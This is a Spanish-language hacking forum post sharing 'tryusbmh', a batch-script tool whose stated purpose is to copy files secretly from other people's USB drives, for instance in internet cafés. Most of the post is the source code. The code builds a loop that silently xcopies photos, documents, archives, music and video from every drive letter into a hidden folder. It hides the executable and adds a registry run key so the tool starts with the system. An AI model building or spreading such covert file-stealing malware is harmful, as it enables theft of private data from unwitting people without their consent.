tryusbmh,
Este pequeño proyecto lo hice el año pasado es para copiar archivos de las memorias usb sin que el dueño se de cuenta, ejemplo en los cibers.
simplmente ejecutamos ingreso.bat y lo configuramos al gusto. y las configuraciones se guardan en config.bat, todo el codigo y junto al programa esta adjunto abajo al final del post.
Ejemplo de codigo, descargar el adjunto para tener el codigo completo.
mode con cols=80 lines=45
@echo off&color a
set a1=esperando...&set a2=esperando...&set a3=esperando...&set a4=esperando...&set a5=esperando..
:menu
title Tryusbmh by Jrchico ^> Www.Mundohacking.com
cls
call config.bat
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo %ruta%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Nombre archivo final y de trabajo: %nombre%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Archivo temporal de compilacion: %bates%
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±Try usb mh v1 by jrchico±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±±^> $ 0. Crear Nuevo tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 1. Modicar ruta, nombre y otros }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 2. Instalar tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 3. Desinstalar tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 4. Activar tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 5. Desactivar tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 6. Ver datos tryusbmh }}}}}}}}}}}}}}}}}}
echo.
echo ±±±^> $ 7. Salir }}}}}}}}}}}}}}}}}} ¦Www.Mundohacking.com
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p ingreso=Que quieres hacer amigo:^>^>
if "%ingreso%"=="" (goto :menu)
if %ingreso%==0 goto nuevo
if %ingreso%==1 goto modconfi
if %ingreso%==2 goto instalar
if %ingreso%==3 goto Desinstalar
if %ingreso%==4 goto Activar
if %ingreso%==5 goto Desactivar
if %ingreso%==6 goto ver
if %ingreso%==7 goto salir
if %ingreso%==%ingreso% goto menu
:instalar
if not exist %nombre% (msg * Porfavor cree el archivo de instalacion desde la opcion numero 0, para poder continuar, de lo contrario de tener una archivo ya configurado renombrar a %nombre%&goto menu)
if exist "%ruta%\\%nombre%" (
msg * Se encontro una instalacion anterior porfavor desinstale desde la opcion 3, para poder continuar con una nueva instalacion
goto menu
) else (
goto yacre
)
)
:yacre
cls
Title Instalando tryusbmh
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Instalando %nombre% porfavor espere.....
if not exist "%ruta%" (mkdir "%ruta%")
echo.
echo %ruta% (24%) ok...
attrib +h "%ruta%"
echo %ruta% ocultar(52%) ok...
echo.
copy "%nombre%" "%ruta%"
echo.
echo %nombre% Intalacion (76%) ok...
attrib +h "%ruta%\\%nombre%"
echo.
reg add %userkey% /v tryusbmh /t reg_sz /d "%ruta%\\%nombre%" /f
echo %nombre% ocultar (91%) ok...
echo.
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Instalacion completamente (100%) precione enter para volver al menu.
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
pause>nul
goto menu
:Desinstalar
title desinstalando tryusbmh
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Matando proceso (15%) ok...........
taskkill /f /im %nombre%
echo.
echo Eliminando atributos de archivos (55%).............
attrib -h "%ruta%\\%nombre%"
echo.
echo Eliminando archivos de instalacion (81%)............
del "%ruta%\\%nombre%" /f /q
echo.
echo Eliminando llaves de inicio del registro(100%)
reg delete %userkey% /v tryusbmh /f
echo.
echo Se desinstalo completamente "%ruta%\\%nombre%",
echo pero los archivo que se habian copiado no se borraron para ver los archivos seleccionar la opcion 6
echo.
echo Precione enter para volver al menu...
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
goto menu
:nuevo
title creando configuraciones para nuestro tryusbmh...
echo @echo off>%bates%
echo :todo>>%bates%
rem si en un caso tubieras discos duros como la unidad d o e eliminamos las letras
rem ejemplo digamos que tengo la unidad d y e que daria for %%%%a in (f g h i j k l m n o p q r s t u v w x y z) do (
echo for %%%%a in (d e f g h i j k l m n o p q r s t u v w x y z) do (>>%bates%
echo if exist %%%%a: (>>%bates%
rem aqui inician los agregados...............................
cls
goto regreso
:regreso
title Selecciona las opciones de que deseas agregar ala nueva compilacion...
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±± ±± Seleccione las configuraciones que desee: ±± ±±
echo.
echo ±± ±± 1. Agregar archivos imagenes %a1% ±± ±± ±±
echo.
echo Www. ±± ±± 2. Agregar archivos comprimidos %a2% ±± ±±
echo.
echo Mundo ±± 3. Agregar archivos de musica %a3% ±± ±± ±±
echo. ±±
echo Hacking ±± 4. Agregar archivos videos %a4% ±± ±± ±±
echo. ±±
echo ±± .com ±± 5. Agregar archivos documentos %a5% ±± ±± ±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±± ±± 6. Compilar archivo.... ±± ±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p sele= Seleccione la opcion valida[1-6]:
if "%sele%"=="" (goto :regreso)
if %sele%==1 goto agregaimg
if %sele%==2 goto agregacompri
if %sele%==3 goto agregamusi
if %sele%==4 goto agregavide
if %sele%==5 goto agregadoc
if %sele%==6 goto compilar
if %sele%==%sele% goto regreso
:agregaimg
echo XCOPY "%%%%a:\\*.jpg" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.gif" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.bmp" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.Jpeg" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.png" %ruta%^>nul /E /I /c /h /r>>%bates%
set a1=Ok...
goto regreso
:agregacompri
echo XCOPY "%%%%a:\\*.rar" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.zip" %ruta%^>nul /E /I /c /h /r>>%bates%
set a2=Ok...
goto regreso
:agregamusi
echo XCOPY "%%%%a:\\*.mp3" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.wma" %ruta%^>nul /E /I /c /h /r>>%bates%
set a3=Ok...
goto regreso
:agregavide
echo XCOPY "%%%%a:\\*.mp4" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.avi" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.wmv" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.fly" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.mpg" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.3gp" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.psp" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.rmvb" %ruta%^>nul /E /I /c /h /r>>%bates%
set a4=Ok...
goto regreso
:agregadoc
echo XCOPY "%%%%a:\\*.doc" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.docx" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.txt" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.html" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.bat" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.php" %ruta%^>nul /E /I /c /h /r>>%bates%
echo XCOPY "%%%%a:\\*.vb" %ruta%^>nul /E /I /c /h /r>>%bates%&echo XCOPY "%%%%a:\\*.xml" %ruta%^>nul /E /I /c /h /r>>%bates%
set a5=Ok...
goto regreso
:compilar
title Compilando tryusbmh...
rem aqui añadimos ala parte final del archivo....
echo ) else (>>%bates%
echo echo unidad %%%%a: no se encontro se omitio copiado...>>%bates%
echo )>>%bates%
echo )>>%bates%
echo goto todo>>%bates%
echo compilando espere......
if exist "%nombre%" (
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Se encontro una archivo %nombre% anteriormente creado
echo.
echo Porfavor seleccione un nuevo nombre para el archivo
echo.
echo Ejemplo de nombre de respaldo "anterior%nombre%"
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p Numbre=Nuevo Nombre, luego precione enter:^> anterior%nombre%
rename "%nombre%" "Numbre"
) else (
goto yes
)
)
:yes
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
quickbfc "%bates%" "%nombre%"
msg * Compilacion terminada con exito, ahora ya puede instalar...................
del /f "%bates%"
goto menu
:modconfi
title Modificacion de varibles de entorno de instalacion y otros en tryusbmh
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo Binvenido a la modificacion de variables ±±±
echo. ±±±
echo 1. Cambiar ruta ±±±
echo. ±±±
echo 2. Cambiar nombre archivo final y de instalacion ±±±
echo. ±±±
echo 3. Cambiar nombre del archivo temporal antes de la compilacion. ±±±
echo. ±±±
echo 4. Guardar las modificaciones realizadas. ±±±
echo. 5.menu ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
set /p opciones=Selecciona una accion [1-4]:
if "%opciones%"=="" (goto :modconfi)
if %opciones%==1 goto rutacam
if %opciones%==2 goto nombrecam
if %opciones%==3 goto nombretem
if %opciones%==4 goto salvar
if %opciones%==5 goto menu
if %opciones%==%opciones% goto modconfi
cls
:rutacam
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±± :$ Su ruta actual de trabajo es:
echo ±± -^> %ruta%,
echo.±±±±
echo ±±±± Su nueva ruta deberia tener un formato parecido.
echo. ±±±±
echo ±±±± Si no desea escribirla jale la carpeta hacia esta ventana
echo. ±±±±
echo ±±±± Asegurese que la ruta no contenga signos " al principio o
echo. ±±±±
echo ±±±± Al final de lo contrario eliminarlos...
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo 1. Ruta de instalacion y copiado de archivos&set /p rutanew=:
if exist "%rutanew%" (
set ruta=%rutanew%
goto nombrecam
) else (
cls
msg * la ruta %rutanew% es invalida, probablemente no exista o contenga " ...
goto rutacam
)
)
pause
:nombrecam
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±± El nombre del archivo de instalacion y de archivo final es %nombre%
echo. ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±±
echo ±±± El nuevo nombre del archivo debera tener un formato parecido ±±±
echo. ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±±
echo ±±± Escriba el nuevo nombre con extencion .exe y precione enter ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo.&set /p arnanombre=:
set nombre=%arnanombre%
goto nombretem
:nombretem
cls
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±±± El nombre del archivo temporal es %bates%
echo. ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±±
echo ±±± El nuevo nombre del archivo debera tener un formato parecido ±±±
echo. ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±± ±±±
echo ±±± Escriba el nuevo nombre con extencion .bat y precione enter ±±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo.&set /p nuevotem=:
echo
set bates=%nuevotem%
:salvar
echo Guardando configuraciones
echo.
echo set userkey=%userkey%>config.bat
echo set ruta=%ruta%>>config.bat
echo set nombre=%nombre%>>config.bat
echo set bates=%bates%>>config.bat
echo if exist "%bates%" (del /f "%bates%")>>config.bat
echo.
msg * Configuraciones de variables guardadas con exito....
goto menu
:Activar
if not exist "%ruta%\\%nombre%" (msg * No existe ninguna instalacion que se pueda iniciar, se recomienda crear una instalacion nueva...&goto menu)
call "%ruta%\\%nombre%"
reg add %userkey% /v tryusbmh /t reg_sz /d "%ruta%\\%nombre%" /f
msg * Se Inicio %nombre%, y ademas se agrego al registro para iniciar con el sistema la proxima vez, hasta que elija la opcion 5 desactivar...
goto menu
:Desactivar
if not exist "%ruta%\\%nombre%" (msg * Ningun programa que desactivar no se encontro instalacion...&goto menu)
taskkill /f /im %nombre%
taskkill /f /im cmd.exe
taskkill /f /im xcopy.exe
reg delete %userkey% /v tryusbmh /f
msg * Programa desactivado temporalmente hasta que active la opcion 4
goto menu
:ver
explorer "%ruta%"
:salir
exit
Espero lo disfruten, y no hagan cosas malas,
exit